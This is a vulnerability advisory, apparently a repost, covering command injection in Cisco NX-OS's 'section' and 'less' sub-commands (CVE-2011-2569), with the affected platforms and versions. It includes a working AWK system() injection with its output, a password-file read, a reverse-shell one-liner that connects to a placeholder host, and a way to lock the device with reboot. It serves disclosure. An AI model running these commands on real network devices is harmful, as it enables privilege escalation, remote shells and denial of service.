Cisco Nexus OS (NX-OS) Command Injection

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Cisco Nexus OS (NX-OS) - Command "injection" / sanitization issues.  
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++  
  
Discovery by:  
1) Peter Adkins <[email protected]>  
  
Access:  
1) Local; authenticated access is required.  
  
CVE-ID:  
1) CVE-2011-2569  
  
OS' Affected:  
1) Cisco Nexus OS (NX-OS)  
  
Vendor involvement:  
1) Alerted - patches available / implemented for some platforms.  
  
Systems / platforms affected:  
1) Nexus 7000  
2) Nexus 5000  
3) Nexus 4000  
4) Nexus 3000  
5) Nexus 2000  
6) Nexus 1000V  
7) MDS  
8) UCS  
  
Notes:  
1) Local access is required. However, unprivileged accounts can gain  
access to the underlying Linux operating system, effectively providing  
complete access to the device. This could potentially lead to issues  
in environments where NOC and other staff are permitted low-level access  
for first point of call, etc.  
  
-----------------------------------------------------------------------------  
NX-OS - "section" sub-command - Command injection / sanitization issues.  
-----------------------------------------------------------------------------  
  
This issue was found on the Nexus 7000 platform. It is believed to  
also affect the following platforms:  
  
* Nexus 7000 ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )  
* Nexus 5000 ( OS < UNK )  
* Nexus 4000 ( OS < UNK )  
* Nexus 3000 ( OS < UNK )  
* Nexus 2000 ( OS < UNK )   
* MDS ( OS < 5.2(1.61)S0 5.2(1)S73 5.2(1)S72 )  
  
The section command appears to be an AWK script to which the requested  
string is passed. However, the input does not appear to be sanitized  
correctly. As a result, AWK can be used to execute arbitrary commands on the  
Linux subsystem.  
  
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"id"\) \}/' > 20110713.awk  
Warning: There is already a file existing with this name. Do you want to  
overwrite (yes/no)? [no] y  
  
nx1# sh clock | sec '* -f /bootflash/20110713.awk '  
uid=2003(user) gid=504(network-operator)  
11:16:04.082 UTC Wed Jul 13 2011  
  
nx1# sh clock | sed 's/.*/BEGIN \{ system\(\"ls \/mnt\/cfg\/0\/"\) \}/'  
> 20110713.awk  
  
nx1# sh clock | sec '* -f /bootflash/20110713.awk '  
ascii  
bin  
boot  
cfglabel.sysmgr  
debug  
licenses  
linux  
log  
lost+found  
11:18:41.885 UTC Wed Jul 13 2011  
  
This can even be used to remove all files on the bootflash and issue a  
'reboot' command to the system. However, rebooting from the Linux subsystem  
causes the device to spew messages to the console and lock; rather than  
actually reloading the device.  
  
-----------------------------------------------------------------------------  
NX-OS - "less" sub-command - Command injection / sanitization issues.  
-----------------------------------------------------------------------------  
  
Believed to affect the following versions of software:  
  
1) Nexus 7000 ( OS < 5.1(1) )  
2) Nexus 5000 ( OS < 4.2(1)N2(1) )  
3) Nexus 4000 ( OS < UNK)  
4) Nexus 2000 ( OS < 4.2(1)N2(1) )  
5) UCS* ( OS < 1.4(1i) 1.3(1c) )  
6) Nexus 1000V ( OS < UNK )  
7) MDS ( OS < 5.1(1) )  
  
* On the UCS platform commands injected are executed as root.  
  
As an example:  
  
switch# sh clock | less  
  
Once less is presented we open files by pressing colon and then "e" and  
specifying the path to the file.  
  
bin:*:1:1:bin:/bin:  
daemon:*:2:2:daemon:/usr/sbin:  
sys:*:3:3:sys:/dev:  
ftp:*:15:14:ftp:/var/ftp:/isanboot/bin/nobash  
ftpuser:UvdRSOzORvz9o:99:14:ftpuser:/var/ftp:/isanboot/bin/nobash  
nobody:*:65534:65534:nobody:/home:/bin/sh  
admin:x:2002:503::/var/home/admin:/isan/bin/vsh_perm  
  
However, this is just read-only access once again. BUT, if we use the "|"  
(pipe) and then "$" key macro, we can execute commands.  
  
!ls -lah > /bootflash/20110715  
  
As shown below, the file has been created on the boot-flash.  
  
switch# dir  
97 Jul 15 12:01:44 2011 20110715  
  
Using this method, I have been able to establish a remote shell into the  
NX-OS Linux subsystem using the following:  
  
mknod rs p; telnet ad.dr.es.s 8888 0<rs | /bin/bash 1>rs  
  
Even the reboot command is accepted as a valid input. However, rather than  
rebooting the device, it causes the system to lock while spewing errors  
to the console.  
  
switch# sh clock | less  
Fri Jul 15 12:06:30 UTC 2011  
!reboot  
  
Broadcast message from root (Fri Jul 15 12:06:39 2011):  
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